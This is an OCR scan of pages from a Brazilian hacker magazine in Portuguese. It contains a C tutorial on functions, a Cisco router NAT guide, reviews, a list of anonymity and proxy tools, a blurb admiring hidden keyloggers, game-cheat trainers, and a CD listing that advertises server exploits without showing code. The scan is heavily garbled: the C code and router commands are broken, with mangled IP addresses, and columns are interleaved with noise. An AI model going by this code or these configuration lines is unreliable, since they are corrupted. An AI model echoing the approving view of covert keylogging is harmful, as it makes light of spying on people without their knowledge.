gravar suas proprias miisicas.

Il COMPRAR

Game Blaster 4 8l
Yu-Gi-Oh: finalmente as regras §|
em portugués. Facil de enten-

der e dificil de deixar de \

jogar. §|
Prepare-se parao duelo: cam- gy
po de batalha para vocé usar s
com honra de duelista. -/

A |

F
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NoCD: 300 cartas poderosas. 1
Conhega-asantes de comprar. G
Conhega as cartas mais famo-

sas do mundo. ol

Bl COMPRAR _

Top Games Extreme 30

em um game incrivel!

0s Simpsons: a familia mais

maluca de Springfield esté de

volta com um game inédito! ';j

‘

No CD: as Panteras detonando S!
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Clipartse Cia8

Pacote com 5.000 imagens
editdveis em alta resolucao.
Premium Pack volume 2.
15.000 WHEs: colecao comple-
taicom arquivos editaveis em
alta resolucao.
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TUTORIAL DE C

Introducao

Ola a todos, estamos aqui para nossa terceira
licao do curso de C para Linux. Depois de vermos
alguns topicos basicos nas nossas duas licoes
iniciais, vamos abordar agora um tema muito
importante: as funcdes. Elas sao a base da
programacao modular e possibilitam que nosso
programa fique muito melhor, permitindo um

A chamada de funcao especifica o0 nome da funcao e seus
argumentos. A partir dai, podemos designar o que ela ira fazer.

Vamos ver o exemplo abaixo:
#include <stdio.h>

int eleva cubo(int); /* a funcao ou seu prototipo

*
grau de recursividade enorme e a extensao com 4
novas funcionalidades. :
main ()
Quando escrevemos um programa em C, é
comum combinar novas funcées com outras X
iRt yx=9';

prontas, disponiveis na biblioteca padrao do C.
Como assim? O C ja vem com funcées prontas do
tipo a raiz quadrada de um numero (sqrt(x); elas
sao funcoes matematicas e ja vém aentroda
linguagem. Uma outra funcao € a printf, que
utilizamos em nossas duas licoes iniciais. O
interessante é que um programador em C pode
criar as suas funcoes a partir das existentes.

printf (“Walor ao cubo: %d “,eleva cubo(x));

return 0;
/*Definindo a funcao
int eleva cubo (int y)
return y*y*y;

Contudo, as funcoes precisam ser ativadas

(invocadas) a partir de uma chamada de funcao. Compile e execute e veja 0 que acontece.

Entendendo uma funcao RO
Vamos analisar o programa acima, ou melhor,
entender alguns de seus pontos. A linha int
eleva_cubo(int); contém o que chamamos de
protétipo da funcao, ou seja, o nome da funcao
(eleva_cubo), sequido pelo paréntese e o

Note que eu declaro aqui uma variavel y. Esta variavel é
proprietaria da funcao, ou local da funcao. Repare que declaro a
funcao com int, o que significa que o valor de retorno (no caso, o
cubo do numero) devera ser inteiro. Nao foi por acaso que, no
argumento da funcao (no caso, uma variavel do protétipo da funcao, eu declarei o aceite de valores inteiros.
tipo int). Podem existir mais de um argumento
em uma funcao e, caso isso ocorra, eles deverao

estar separados por virgula.

Agora, um outro ponto importante: o retorno da funcao.
Observe o comando abaixo:

Depois, no meio do programa, temos a return y*y*y;
chamada da funcao:

Eu estou retornando o cubo de y, mas o que significa retornar?
Quando a funcao termina, a mesma deverd retornar um valor, ou
seja, 9 elevado ao cubo, que é 729. Agora, uma funcao pode nao
retornar valores? A resposta é sim. Quando uma funcao néao
recebe nenhum valor, a lista dos parametros é vord. Outro ponto
se no protOUpo da funcao vocé declarou um tipoiint, na ftm(ao

eleva cubo (x)

Ou seja, eu estou invocando a funcao -
antes, eu declarei uma variavel int com o valor
9. Agora irei fazer o cubo de 9. No final, temos
a funcao propriamente dita :

: erro bobo, que causa uma enorme do| de (al)e ¢ana depmagao

int eleva cubo (int y) de programas.
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Arquivos de cabecalho Fetiien 0y dairfes 1

/*Definindo a funcao aita
Um ponto muito importante e para o qual as pessoas nao /*Definigdo da funcao*/ return (y*fatorial (y-1));
int ele bo (int
atentam muito é o chamado arquivo de cabecalho. Por exemplo, e S T e
desde o inicio de nosso curso estamos utilizando um arquivo de long fatorial (long y)
’ s ¢ return y*y*y; : 5 s
cabecalho conhecido como <stdio.h>. Toda vez que iniciamos um Veja como podemos utilizar uma funcao de maneira simples e
programa, nos declaramos o seguinte if (y <=1) direta para que possamos fazer os mais diferentes programas

int eleva quadrado (int) ; /* a funcao ou seu

#include <stdio.h> ;
prototipo */

Vas o que isso significa? A stc Nté rototipos
Mas o que isso significa A‘ tdio.h contém os prototipos de Fibe Elrdids Do ahane
funcoes do tipo entrada e saida, ou seja, funcoées como printf,

scanf, etc. Se nao colocassemos essa declaracao no infcio do nosso int eleva quadrado (int y) Desaflo

programa, o compilador ndo saberia utilizar essas funcées! Em

outras palavras, para ele, tais funcoes nao existiriam e, portanto, return y*y; Vamos propor o seguinte desafio para Yoce: tenté escue(:el .
precisariamos inclui-las para que pudéssemos aproveitar os programa que calcule a somatoria de 6 num‘eros, exiba cada um

recursos! 11 Existem varios arquivos desse tipo, por exemplo, inet.h, deles e, em sequida, o total. Faca uma funcao que execute essa

que tem prototipos para urilizacdo em programacao com sockets. Salve-o como minhas funcoes.h e modifique o operacao

Normalmente, os arquivos de cabecalho ficam no diretério /ust/ programa acima

include, e o compilador sabe que os mesmos estao por la.
#include <stdio.h>
Vias uma pergunta deve ter ficado no ar; podemos criar nossos #include “minhas funcoes.h”;
arquivos de cabecalho pessoais? Mas é claro que sim! Normalmen-
te, grandes programas fazem isso. Por exemplo, no exemplo main ()

acima fariamos o sequinte: o 2P
int x=9; v:: ii :
+ W P O T AL s c
#include <stdio.h> printf (“Valor ao quadrado: %d =3 9 s g @
| " " “,eleva quadrado(x)) ; Qg 2N S
#include "eleva_cubo.h”: = Nie e Dim S
printf (“WValor ao cubo: %d “,eleva cubo (x)); QaE b SE =
. return 0; e ; S E‘ Q
main () I = S)
e O
N G ,: s Wy
=gy I i
£ it G =
2 : T = o Q
he 900y Salve-o como calcula.c e compile-o. Viu que bacana? Temos o v g EQ S o
Pt H 2 . P e ] oy
prints (WHiles ab GuBOH SH N5 a1MeRTdnS (x) )% nosso proprio arquivo de cabecalho! = s & 5
xL o e &= i
return 0; VT, = A SRAL TR
8 2 ; O e S i )
Um exemplo classico de fungdo: o programa fatorial St S S
U)oy s o L <
T 5 © (\J] A S |
Salvariamos o programa como cubo.c e, em seguida, criariamos = T = Q) 5» Y &
7 / =) Rhei s e X Al < ) DS
um arquivo como o nome eleva_cubo.h no mesmo diretério do Vamos agora fazer um programa que faca o fatorial de um c 0 g Q s S
’ = z — | o ()
cubo.c numero. Um fatorial de um inteiro nao-negativo é feito da Bec 7 S 5.9
i = die) H T
seguinte maneira: = S 98
; = e = R
v = = Q Q3
int eleva cubo(int); /* a funcao ou seu prototipo T “\i 8 3
£ 8 C 2 @
3 S 8
= Q Q
< = =
o o S
= S
L
T
o
,_:I

tonio Marcelo € autor de oito livros sobre Linux, entre eles Firewalls em Linux, Squid,
an¢a e de software livre para empresas e orgaos governamentars. F

Informatica com mais de 12 anos de mercado e atuou em diversos projetos na darea de

7]
Q
<
S
= S S
=2 Q N Q
*/ n! = n*(n-1)*(n-2)*...*1 S g 3 Ry
T W v O O
{ 4 O N Q o~ o
s : o SEATLa
¢ © O = £ xq 8 R
/*Definindo a funcao Poderiamos fazer isto com um simples for, mas vamos criar um © S 8 £ E L 3 S
: o v & (A AR )
programa que faca o fatorial utilizando uma funcao: o Q o Qb oS
5} 5 A e Oy
int eleva cubo (int y) o i é T & D )
j= b g O Q S Q
/*Programa fatorial*/ 5 T 9O E BANS B
D A T A @ N Qiesy Sig.9
return y*y*y; #include <stdio.h> 17, v un £ s PTRS e I S
@ T S A S T < D SIS
Y s s°5 8 £2 88 RS
© e S Z o ’2 S SR
Compile o programa (gcc -o cubo cubo.c) e rode; long fatorial(long); /*prototipo da fungdo*/ g S 2 3 o c CBSRS A RS
= 3 &5 = o o ek RIS ~
agora, vocé tera seu proprio cabegalho de fungdes. — O o % @ §ig A RLE Q.
: ’ v s S S, s B L T
Dentro deste, vocé pode ter varias fungdes. Por main () {an P O c L S S L %
=0 O L © T b LS S
exemplo, para o arquivo acima, faga o seguinte: int  x; o S e S 9; R e 3} @
| O L= w L2 S A NS
| int eleva cubo(int); /* a funcao ou seu prototipo for (x=1; x<=10; xX+4%)
*/ printE (N s2dl. =-%1d” ;4 x, (Eatobial(x));




ROTEADORES CISCO

CONFIGURANDO
NAL EM
ROITEADORES

CISCO

Internet é uma grande teia de hosts interconectados.
Todos os dias, milhdes de usuarios conectam-se a ela.
Para que vocé tenha esse acesso, faz-se necessario uma
identificacao, que é feita por intermédio de um endereco IP.
Quando o enderecamento IP foi criado, no caso, o IP versao 4, ou
|Pv4, acreditava-se que haveria enderecos de sobra, talvez por
nao acreditarem que a Internet se massificaria tao ferozmente
em nossa atualidade. A maior preocupacao da comunidade da
Internet passou a ser 0 esgotamento total dos enderecos IP,
tamanho o ritmo de crescimento da estrutura. Além disso, ocorre
um enorme desperdicio de enderecos IP, especialmente por parte
de grandes empresas que alocaram grandes blocos de enderecos
inutilmente. Para resolver isso, a organizacao Internet Assigned
Numbers Authority (IANA) especificou, por meio da RFC 1918, uma
faixa de enderecos dentro das trés classes de IP existentes (A, B e
C), determinando que esses enderecos seriam privativos ou
reservados e nao roteados pela Internet. Portanto, as empresas
podem utilizar esses enderecos na sua rede interna, economizan-
do assim enderecos validos (roteaveis) da Internet.

)

Estes enderecos sao:
Classe A: toda a faixa do endereco 10.0.0.0 ao 10.255.255.255

Classe B: toda a faixa do endereco 172.16.0.0 ao
172812255955

Classe C: toda a faixa do endereco 192.168.0.0 ao
192.168.255.255

Devido a escassez de enderecos validos, solucoes como endere-
cos privativos, CIDR, VLSM e NAT foram incorporados a infra-
estrutura da Internet, tornando possivel alocar os enderecos IP de
forma mais eficiente até a chegada total da nova versao de IP, o
IPv6, que resolvera por completo este problema. Mas como isso

parece estar um pouco longe de acontecer, veremos como
resolver essa questao com a traducao de enderecos [P, ou NAT.

O Network Address Translator (NAT) traduz os enderecos que
entram ou saem de um roteador, dependendo da forma da
implementacao e configuracdo para traducao desses enderecos.
Esse processo pode ser visualizado na figura abaixo:

REDE LOCAL
192.168.1.0124

REDE EXTERNA|
213.18.123.100

S>NAT estatico

Esta configuracao pode ser feita de duas formas: cada endere-
co IP de sua rede interna sera mapeado para um endereco valido
do conjunto de IPs vélidos designados para a sua empresa. E claro
que esse modelo em nada resolve o problema de desperdicio de
enderecos validos. Basta pensar que, se vocé tivesse 150 endere-
cos privados na sua rede, vocé precisaria de 150 enderecos
validos.

A outra forma é o sentido inverso da conexao: mapeando um IP
valido para um privativo.

Neste modelo, todo 0 mapeamento dos enderecos privativos
para os IPs validos ocorre de forma dinamica. O roteador criara a
tabela de traducoes automaticamente, mas ainda teremos o
problema do desperdicio, pois 0 mapeamento é de um para um.

Figura 2 - NAT Dinamico

Segue o mesmo funcionamento do anterior, sendo que a Unica
diferenca é que estaremos agora compartilhando um tnico
endereco IP valido. O roteador ird atribuir uma porta de conexao
de origem para cada traducao efetuada, a fim de, com isso, saber
para qual endereco privado deve ser retornado o pacote. Esse
método é conhecido como traducao de enderecos por porta, ou
“port level multiplexed NAT”, e serd adotado na configuracao do
nosso roteador.

Vamos demonstrar como configurar nossa rede tendo
como modelo a topologia adotada da Figura 1 e, como base,
um roteador CISCO modelo 2501.

O que faremos agora sera traduzir os enderecos
192.168.1.X/24 para o endereco IP configurado na interface
serial conectada a Internet.

Partindo do principio de que o usuario ja tenha configura-
do corretamente o encapsulamento e as interfaces do
roteador com os IPs, partiremos para a traducao dos
enderecos. Para adaptar o exemplo ao seu caso, basta
substituir o 1P 213.18.123.100 pelo o seu IP de
acesso a Internet.

Configurar o NAT da rede interna para
definir qual endereco de origem devera ser traduzido

Router-Rio#configure terminal

Router-Rio(config)# ip nat pool INTERNET
213.18:123: 100 21318 123 10,0- prie L st~
length 24

Router-Rio(config)# ip nat inside source
list NAT pool INTERNET overload

Configurar a lista de acesso para infor-
mar quais os IPs da sua rede interna deverao ser
traduzidos.

Router-Rio(config)#ip access-list
standard NAT

Router-Rio(config-std-nacl)# permit
19250168 1 OB ORH0 0255

Router-Rio(config-std-nacl) #exit
Ativar o NAT nas interfaces corretas

Router-Rio(config)# interface ethernet 0
Router-Rio(config-if)# ip mnat inside
Router-Rio(config-if) #exit
Router-Rio(config)#interface serial 0
Router-Rio(config-if)#ip mnat outside
Router-Rio(config-if) #exit
Router-Rio(config) #exit

Router-Rio#

Utilize o comando abaixo para verificar a
configuracao do NAT

Router-Rio# show ip nat statistics

Use o comando ping para testar a
configuracao do NAT.

Podemos observar a traducao com o
comando # show ip nat translations.

Neste artigo, vimos o basico para a configuracao
de um NAT dinamico. No proximo, irei explorar os
conceitos de NAT estatico e com traducao de portas
- uma solucao excelente para usuarios de banda
larga. Até la...

Marcos Pitanga

Prof. especialista em Seguranca de Redes
Instrutor do Programa Network Academy UniABEU
CCNA / CCAIl - CIsco

Linux Clusters Specialist
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Grupo mostra a meca do hackerismo

podendo ser baixado diretamente do site oficial em versao DivX.

invadir sistemas.

nante é ver que alguns conseguem em poucos segundos.

descobrir as coisas fucando.

ao governo”.

(33MB1 Hi-res, 234MB Lo-Res)
0S CYBEPUNKS 2 0
FUGUro

O mundo esté reduzido a uma confusdo ideoldgica, e isso se reflete
na vida dos individuos, que acabam nao sabendo o que é sonho, delirio
e realidade. Nao sou eu quem falo isso, mas os autores de ficcao
cientifica das décadas de 80 e 90. Ocorreu uma mudanca tdo grande
em relacdo a ficcdo cientifica feita até a época pré-Internet, que até
um novo nome foi criado para eles (na verdade, eles mesmos se
autodenominaram): cyberpunks. Punks porque seus personagens
agem fora da lei, ou no limite dela; cyber porque toda a revolucao da
informatica e da cibernética estd presente nas novelas e contos.

Nessa vertente, ha uma mistura muito estranha entre os valores e
sonhos dos hippies dos anos 60, o desespero e a falta de perspectivas
dos punks da década de 70, o consumismo e materialismo (no mau
sentido) dos yuppies dos anos 80 e o libertarismo e rebeldia dos
hackers dos anos 90 - tudo isso embalado em uma pseudoliteratura
renovadora.

Ao misturar delirio com ciéncia, os cyberpunks foram rechacados
pelos préprios amantes da ficcdo cientffica, o que é dificil de acreditar,
embora seja verdade.

Futuro Proibido é uma coletdnea de contos antiga, feita pela revista
Semiotext(e) em 1989, que somente chega agora ao Brasil. Nesses
quase 10 anos que separam as duas edicdes, muita coisa aconteceu,
até mesmo a decretacao da morte do movimento cyberpunk.

Agora, uma coisa é preciso dizer: a distancia entre a teoria e a
pratica é gigantesca. Quer dizer, partindo de uma idéia extremamente
interessante de renovacao conteudistica da literatura, chega-se a uma
prética pouco criativa, monétona e, até mesmo, conservadora.

A maioria dos contos selecionados tem pouco a acrescentar a
literatura, seja a de ficcdo cientifica, seja ela como um todo. As
histérias se repetem, mostrando um mundo, no geral, caético, e tudo

S6 mesmo na Holanda. Um documentdrio sobre hackers, divulgado livremente pela Internet,

| Esse é o espfrito de “Hippies From Hell”, primeiro filme do projeto Waag Connect, criado pela
Waag Society para oferecer ao publico um espaco de rede publica cultural e experimental.
O longa em si é bastante simples, mas consegue mostrar bem a ligacao entre o movimento
hacker e o espirito hippie dos anos 60. Enquanto cada integrante do grupo é apresentado,
| todos eles aparecem de cara limpa na frente das cdmeras, sem medo das autoridades. Até mesmo um que ja foi preso duas vezes por

Um ponto bastante abordado é o lockpicking, pratica bastante popular na Holanda e na Alemanha. Varios “hackers analégicos”
ficam competindo para ver quem consegue abrir mais rapidamente uma fechadura usando apenas um pedaco de ferro. O impressio-

Outro momento marcante: no final do filme, uma sessao de queima de manuais, representando um estimulo a atitude hacker de

Nao faltam cenas de eventos hackers, festas realizadas pelo grupo e até mesmo sessoes de lockpicking nudistas. A idéia é sempre
promover a liberdade, que parece muito mais presente por la do que do outro lado do Atlantico. Em dado momento, no entanto,
policiais aparecem para “acompanhar” uma convencdo. As autoridades, entao, negam ter se referido aos hackers como “ameacas

Como diz um hacker americano que aparece no documentdrio, citando a lei DMCA (que cofbe a publicacdo de experimentos envol-
vendo decriptacdo de sistemas), “nos EUA, as pessoas podem ser processadas por descobrir coisas. Isso é muito perigoso”. Realmente.

Pelo jeito, todos temos muito a aprender com a Holanda, comecando por filmes como esse.

Para assistir ao documentario, baixe o arquivo no site Attp./hippies.waag.org

é mostrado de forma superficial e °
bastante 6bvia.

E isso que mais fica evidente nas
histérias, com seus: personagens
pouco profundos, banais até.
Muitos podem dizer que essa é a
realidade do mundo de hoje (e até :
eu poderia concordar com isso), = 5% e e tamhe Wit - foee)
mas o problema é que essa J
banalidade nao cria boa literatura. _

E o pior é que os chamados A it
“papas” da literatura cyberpunk " '
sao exatamente os que mais o . .
desapontam, como Bruce Sterling, X p
William Gibson e Sol Yurick, que
mostram um festival de
obviedades. J4 o grande William
Burroughs, que nem forcando se encaixa no mundo cyberpunk, é o
ponto alto da coletdnea, apesar de participar com apenas dois
pequenos contos.

A editora Conrad ainda pretende lancar o segundo volume da
coletanea. Esperemos para ver se existem outros autores que fogem
das solucoes Obvias e conseguem criar histdrias que respondam
verdadeiramente a estes tempos p6s-modernos. Todos os elementos
para criar boas narrativas estao ali, € s6 romper com o
conservadorismo e partir para as experimentaces na forma. S6 assim
veremos coisas realmente inovadoras.

Futuro proibido

Vdrios autores

Editora Conrad

R$ 29,00
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Por Joao Marnnho

JOO@NIge com. br

Sera que o Brasil ¢ de fato uma democracia? Para a maior parte da popula
A0, aresposta obvia € “sim”. Mas ha quem aponte sinars evidentes de que
existe um apurado controle sobre a liberdade das pessoas
Entre esses sinais, poderiamos citar, como exemplo, o fato de o filme Amor
tstranho rpermanecer protbido no Pais. Trata-se de uma producao de 1982
em que Xuxa mnterpreta uma prostituta que sedu um meniminho pre-adolescente
Outro filme “proibido”, que tambem mexe com uma figura global, & Muito Alem do Cidadao Kane (Brazil: Bovond Citizen Kane),
dm:um-n{.mu«Iumulu’mr Simon Hartog, produzido pela BBC e exibido em Londres, em 1993 Aqui, 05 protagonistas a0 as Organiza
coes Globo e o recém-falecido Roberto Marinho
Na eépoca, a emissora tentou durante meses, por intermeédio da Justica, evitar a veiculacao do filme mas perdeu. [ poucos dia
depois da exibicao em Londres, o MIS - Museu da Imagem e do Som de Sao Paulo CONSEYLIU UMma copla pirata e programaou varias
sessoes do documentario, que foram canceladas pelo entao secretario de Cultura do Estado, Ricardo Ohtake
A versao oficial @ que o cancelamento ocorreu porgue a fita era pirata, mas, sequndo
Geraldo Anhaia Melo, jornalista e, na época, programador do MIS, houve uma imterven
cao direta de Roberto Marinho com o governador e o secretario de Cultura S5¢a Como
for, o tato e que, misteriosamente, Aut lem do Crdadao Kane continua inedito no
Brasil. Varias exibicoes foram feitas posteriormente, ¢ verdade, mas todas eram
frutos de pirataria
£ por que Roberto Marinho se preocuparia tanto em evitar a exibicao do filme? Ue,
pelo conteudo sensivel! live acesso a uma das copias, e nao vou dizer onde e nem como
para nao comprometer outras pessoas ‘m»;\?w.‘uwu[w 100 Kare,
cujo nome taz referencia a uma producao sobre outro magnata das telecomunicacoes
e 2 . (Crdadao Kane), destrincha toda a historna da Rede

1 ] Globo, desde que Marinho herdou o jornal de

‘ seu pal

" As manobras para “reqularizat” o investimento feito pelo grupo americano Time Life (o que era

proibido pela legislacao brasileira), o sen IO prestado a promocao da ditadura, a historica edicao

do debate entre Lula e Collor (que deu vantagem a este ultimo), a forma como a Globo se

beneficiou do cancelamento de concessoes como as da TV Excelsior, que deixou de existi

exatamente por causa da oposicao aos militares. . Tudo 1550 esta la!

Ainda so e possivel conhecer verdadeiramente a Globo recorrendo a softwares como KaZaA

Morpheus, ou por intermedio de alguns sites
COrajosos da Web . Abaixo, indicamos dois links o um
livro, escrito por Anhata Mello, Vale a pena fazer o
download, ler o hvro e descobrir que ha, sim, muita
COISa por tras do sucesso das telenovelas e do

Jornal Nacional

http//caid sites uol com br/
mdex citizenkane htm
hitp/Z/www divimovies com/commuinity

listMovies php ?handle =robest

MELLO, Geraldo Anhaia. AMuite

v Sa0 Paulo: Scnitta Editonal, 1994




Stealth

Mmto mais que camuflagem

idores Proxy and

c Qfﬁd\\.,

em comum: preservar sua privacidade na Internet. Para
Pr

nimos e em “tuneis” HT Tr—m ‘@S(O‘)dﬁ‘ﬂ‘

conheca os principais softwares presentes na

scolha um para zelar pelo seu anonimato na Web

ProxyChecker 3.27: Este programa permite a checagem da lista de
proxies com diversos recursos. Vocé podera conferir proxies an6nimos,
proxies separados, além de outras opcées

MultiProxy 1.2a: Com este proxy, navegue anonimamente e acelere a
conexao em certos casos. O programa possui uma lista bem extensa de
servidores, que pode ser periodicamente atualizada no site do
desenvolvedor. Para fazé-lo funcionar, é necessario ajustar as configuragoes
de proxy no Internet Explorer e em outros programas de navegacao para
127.0.0.1, porta 8088

The Proxomitron 4.5: Filtra janelas pop-up, propagandas em forma de
banners, entre outras coisas irritantes que muitos webmasters insistem em
p6r em seus sites. Funciona como um proxy na sua maquina. Para usa-lo nas
conexdes HTTP, vocé s6 precisa configurar o browser

Filetopia Bouncer: Para usuarios que utilizam a rede de peer-to-
peer Filetopias. Esconde o seu IP, garantindo mais seguranca na troca

de arquivos

Proxy Server List Hunter 1.78: Procura por servidores proxy anénimos
e gratis. Permite que vocé escaneie proxies abertos (incluindo HTTP e Socks)
e envie e-mails e socks para ICQ e AIM. Ainda testa a velocidade dos

servidores. Obs.: E necessdrio possuir o Microsoft .NET Framework instalado

em sua maquina

HTTP Port 3: Cria um IP anénimo para acessar qualquer servico da
Internet sem ser identificado

HTTP Tunnel 2.3: Use o ICQ e outros programas de mensagem sem que
servidores e firewalls o detectem

Surf Secret : Navegue pela Internet tranquilamente. Este programa
apagaré os rastros deixados pelo browser. Obs.: Necessario estar conectado

a Internet na hora da instalacao para a sua conclusao

Anonymity 4 Proxy 2.52: Faz com que vocé navegue e participe de chats
sem ser identificado, sendo um intermedidrio entre o browser e a Internet

Check Proxy v3.20: Encontre servidores de proxies anonimos rapidamente

Clean Space 8.24: O programa realiza uma varredura, eliminando
vestigios de cache e historicos dos seguintes programas: ICQ 2002a,
Morpheus, ACD See, GetRight 4.5, KaZaA Media Desktop, WinZip, AOL
Instant Messenger, Google Toolbar, WinRAR, Download Express, RealOne

Player, Netscape, IE, Microsoft Office, além do proprio Windows

Socks2HTTP Beta 0.96: Converta requisicoes socks5 para HTTP, de
modo a driblar o firewall. O programa ¢ utilizado nas mais diversas
aplicacoes, como Morpheus, MSN Messenger, ICQ, AOL IM, FTP, Telnet, etc.

CGIProxy 2.0.1: Script em CGIl que simula um servidor proxy anénimo

Invisible IRC Project: O IIP (Invisible IRC Project) é um programa que permite
que o usudrio utilize a rede de bate-papo do IRC com seguranca e anonimato

Libra FTP daemon 1.3.4: Sevidor de FTP andnimo para Linux. Suporta
todos os tipos de comandos convencionais. Esta versao ja suporta IPv6 nativo

AnonyNews: Muito parecido com um servidor de noticias comum, com
apenas uma diferenca: todas as mensagens que forem postadas nao

identificarao quem postou

cloudish 1.41: Este software foi desenvolvido para que o usudrio possa
navegar anonimamente pela Web. Possui dois tipos de configuracoes: a
standalone e a distributed. Configurado para a distributed, a navegacao é

muito mais anénima

Anonymous Network Project: Uma rede peer-to-peer baseada no
modelo PipeNet. Constréi dinamicamente tuneis encriptados e com uma série

de nos de rede. Com ele, vocé fica anénimo ao se conectar na Rede

.

.

Key Logging
Grande irmao

Registrar tudo aquilo que é digitado em um
arquivo de log. Esta era a principal funcao dos
softwares e hardwares para key logging. Apesar de
parecer muito com o chamado “grampo”, esta
técnica evoluiu muito e hoje é capaz de nao apenas
registrar as informag6es que passam pelo teclado, mas
também de gravar cada tela aberta, site visitado e
programa rodado. Existem até programas que anulam os
key loggers. Outro detalhe que nao pode deixar de ser
lembrado é que esses fantasticos programas rodam de forma

oculta. Eles nao gastam memoria e s6 quem o instalou sabe que ele

1"

estd rodando. E o famoso “estamos de olho!!

Damn Small Linux

(o) Deb

ian mICl'OSCOPICO

Com apenas 50Mb, o Damn Small Linux tem
todos os principais aplicativos de uma distribui-
¢ao Linux, com a vantagem e a qualidade da
marca Debian.

Na verdade, o Damn é inspirado no Knoppix
(até por isso ele é um LiveCD) que, por sua vez,
¢é descendente do Debian. Apesar do tamanho
reduzido, é possivel visualizar micros remotamente
(com o VNC Viewer), rodar web servers, bater papo (ICQ, IRC,
etc.), ouvir musica (XMMS) e muito mais com o “micro Debian”.
Se vocé quiser, também é possivel instalé-lo direto no seu HD e
reforcar o seu pacote de programas usando o0s excelentes
recursos do apt-get. Para experimenta-lo, basta reiniciar sua
magquina com 0 CD da H4CK3R 12 no drive e escolher as configu-
racoes que se encaixam melhor no seu hardware. Confira alguns
dos softwares incluidos no Damn Small Linux:

— apt-utils — gzip - net-tools - tinyirc — vorbis-tools
~ zile (editor tipo Emacs) - links (browser)
- sylpheed (e-mail) - xmms(mp3) - FLWriter (processador
de texto) — Naim (IM) - Xpdf — Fluxbox (interface gréfica)
- Monkey web server— VNCviewer

Mais informacées: http.//www.damnsmalllinux.org/

Exploits para todos os tipos de servidares

Cisco, WU-FTPD, FreeBSD, Half-Life Client e muito mai ;
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1amos por s0u uso Indevido. O usa destus softwates para
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Trainers
Para roubar e ganhar!

Confira a seguir a lista de jogos que poderao ser facilitados com
0 uso dos trainers presentes no CD desta edicao da HACK32

007 NigthFire
Age of Mitology
Airport Tycoon
AOE: The Conquerors Trainer
Battlefield 1942

Black and White

C&C: Red Alert 2

C&C: Tiberian Sun
Carmageddon 2

Civilization 3

Command & Conquer General
Commandos 2

Dave Mirra BMX Trainer
Fifa 2003 Trainer

Need for Speed - Hot Pursuit 2
No One Lives Forever 2

Quake 3

Return to Castle Wolfenstein
Serious Sam 2

SimCity 4

Spider-Man: The Movie Game
The Sims, House Party
Tomb Raider 4

Unreal Tournament
WarCraft 3
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Seguranca

Diga nao as brechas!

Com mais uma onda de infeccoes em massa, hordas de spywares e muitos ¢

lados, o melhor a fazer e
atualize s

ua colecao de patches, correcoes de

destaques de cada uma das categorias

Softwares para Windows

arrumar a casa e nao deixar brecha alguma para a entrada de visitantes

,cripts maliciosos chegando por todos 0s

indesejados

seguranca e vacinas para Windows e Linux, Confira a lista completa e os

Para 1SS0,

Blo Languige Heb

Spybot - Search & Destroy 1.2

Remove varios tipos de spywares de seu sistema, como spybots,
keyloggers e adwares. Possui varias ferramentas, inclusive uma opcao para
imunizar o seu sistema, blogueando alguns spywares antes mesmo gue sejam
instalados. Também possui um modo simples, apenas com as fun¢des
principais, para usuarios iniciantes

Exchudes
ook
Qrire
Info & Lisense
Program stattad

8 Spyilot Search [t Destroy -

+

Langusge

| SR brast
EX Danck
D eutich
=+ Enghsh
& Ewpanol
T Frangais
Rlinahano
* japanese
= Nederlands
=a Polsh
= Rusekly
A= Suomi
18 Tukoe

Use at your own risk!

Deteription

uba © Portugués do Brasl
Vianlg danek sprog
Deutsche Sprache wahlen
Use english language
Uniiza Idioma Espafiol
utliset ba langue Irangaie
Utkzza ftakano

(8, 8g—p, .4
Gebivk de Nedetlendie tagl
Use polieh language
Akadda 66Afibad yo0b
Kipta kield suomi

wee Turkish language

Please note that SpyBot-SBD i a tapidly growing project at thie time and net eveiy new hunclion wil

e tiansloted at on instant. Translations wil follow a4 | gat the time te do them

W32.Blaster.Worm Removal Tool 1.0.2
Ferramenta para remover o virus W32 .Blaster.Worm. Com ela,
~ vocé termina o0s processos do virus e também deleta todos os
arquivos e entradas no registro criados por ele

Outros destaques

Kerio Personal Firewall 2.1.5

ZoneAlarm 3.7
. W32.Frethem Removal Tool 1.0.2
W32.Sobig.A@mm Removal Tool 1.0.0
W32 .Bugbear.B@mm Removal Tool 1.0.2
Backdoor.Winshell.50 Removal Tool 1.0.1
Nimda Removal Tool 1.0
PGP 8.0.2
Ashampoo Privacy Protector 1.00

Kryptel Lite 1.1

XSecure 3.02

ProxyChecker 3.27

Jana Server 2.33

ProxyXQ Server 2.0

WinGate VPN 1.0.6

Check Point VPN-1 SecuRemote - Win 9X
McAfee Firewall 4.02

BPS Spyware and Adware Remover 7.2

Guila do

3

Softwares para Linux
Snort 2.0.1

Mais recente versao do famoso software para
deteccdo de invasores. E capaz de gerar uma
analise em tempo real da performance do trafego,
dos pacotes logados no IP da rede e do protocolo,
que pode ser usado para detectar uma variedade
de ataques e invasoes, como a satide das portas
rastreadas e os ataques CGl

Panda Antivirus for Linux 6.4

Poderoso antivirus para servidores Linux e desktops. Pode ser
utilizado via linha de comando. Seu objetivo principal é realizar
analises e desinfectar as estacées Windows e DOS conectadas no
seu servidor Linux

.1 HAEN3H

Outros destaques

Guarddog 2.1.7

Ettercap 0.6b LaBrea

Nmap 3.30-1 ProxyAuth 1.0
Seahorse 0.6.2 Squid 2.5
Nessus 2.0.7 Hdup 1.6.18

Ipkungfu 0.5.0
Firewall Linuxman 0.3

Lids 2.0.3rc5 for kernel 2.6.0-test2
Kalendar 0.5g

Patches

Microsoft KB816456
Microsoft KB82 1557
Microsoft KB823980
Microsoft KB823803
Microsoft KB815495
Microsoft KB822925
Microsoft KB823718
Microsoft KB823559
Microsoft KB817606
Microsoft KB822679
Linux Red Hat - SMB PAM
Linux Red Hat - Up2date GPG

'U
VULNERA BILIDA DES

Explolts para todos os tipos de servidores
Cisco, WU-FTPD, FreeBSD, Half-Life Client e muito mais
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Linux Red Hat - PostFIX

Linux Red Hat - Gnome

Linux Debian - UnZip

Linux Debian - Man Update
Linux Debian - Auto Respond
Linux Debian - Netris

Linux Debian - Pearl

Linux Debian - KDE

Linux Debian - Pam SQL

Linux Debian - XPCD

Linux Debian - X Tokkaetama
Linux Debian - CD-Recording
Linux Debian - PHPGroupware
Linux Debian - Kernel

Linux Debian - zBlast

Unix OpenBSD - Local Updates
Linux Suse - Kernel

Linux Suse - PostFIX
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